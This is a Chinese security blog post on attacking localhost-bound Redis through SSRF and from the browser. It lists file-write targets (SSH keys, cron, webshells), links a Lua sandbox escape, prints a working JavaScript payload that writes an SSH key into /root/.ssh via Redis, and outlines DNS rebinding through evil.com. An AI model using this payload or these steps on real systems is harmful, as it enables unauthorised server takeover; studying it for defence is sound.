Redis和SSRF

你以为bind了127.0.0.1就安全了么?

本地写文件

这个爆出来很久了。原理就是利用Redis的数据持久化。设置持久化文件的名称和路径,然后在Redis中写入文件内容,给Redis发送持久化的命令,这样Redis就会将数据库的内容写入执行的文件了。详细参考 http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

这个并不一定需要SSRF,如果Redis未授权访问的,那同样可以利用。

利用点

  • $Home/.ssh/authorized_keys,root用户就是/root,其他用户需要猜测或者遍历用户名。
  • /var/spool/cron,然后crontab定期执行,因为Redis持久化的数据可能包含其他的数据,所以写入的文件可能有一些垃圾信息,但是crontab对格式要求比较松,避免先去flushall Redis。
  • 写webshell,但是得已知路径
  • slave of $IP 主从模式利用
  • /etc/profile.d/用户环境变量
  • AOF类型持久化,和RDB持久化类似,但是是纯文本的格式

Redis中数据和web应用的结合

如果控制了Redis中的数据,很多时候和直接控制了数据库是一样的,可以有针对性的修改数据。参考 https://www.seebug.org/vuldb/ssvid-91879 在Redis中更改了全局变量的值,导致任意代码执行。里面有对gopher协议的利用,参考 https://blog.chaitin.com/gopher-attack-surfaces/

Redis Lua Sandbox Escape

详情见 http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

利用了Redis的Lua支持,但是Redis的Lua是有sandbox的,不能执行任意的代码,怎么去尝试绕过?

https://gist.github.com/corsix/6575486 实现的了三个功能

  • 读取TValue结构体中的值
  • 读取任意内存地址上的8个字节,可以导致基地址泄露
  • 任意内存地址写8个字节

作者在多个系统和多个Redis上都测试通过,Redis已经修复这个问题 https://groups.google.com/forum/#!msg/redis-db/4Y6OqK8gEyk/Dg-5cejl-eUJ

SSRF和CSRF结合体 看网页也能被拿shell

今天看到老外发了一个脑洞,https://ericrafaloff.com/client-side-redis-attack-poc/ 使用ajax直接给Redis发送请求,也利用的是Redis的Lua支持,原文中的Demo被我修改为写入ssh公钥的,当然上面提到的其他攻击方法都可以使用。

var keydir = "/root/.ssh";
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\nssh-rsa AAAAB... virusdefender@LiYangs-MacBook-Pro.local\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + keydir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"authorized_keys\"); ' + '\' 0' + "\r\n");

var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');

在这里有一个最大的限制就是浏览器跨域请求的问题,根据 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
简单请求是可以直接跨域发送的,但是无法收到响应,简单请求的定义如下

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。

这里符合条件,所以可以直接发送请求到Redis端口。当然,还可以利用DNS Rebinding来绕过同源策略。步骤如下

  • 解析evil.com到正常ip,使用比较小的TTL
  • 用户浏览页面,页面中setTimeout到100秒后发送一个ajax请求到evil.com
  • 解析evil.com127.0.0.1,因为TTL很小,所以生效很快,而且浏览器也会重新发送DNS查询
  • 100秒后,请求实际被发送到了127.0.0.1

录了一个小视频

思考

添加新评论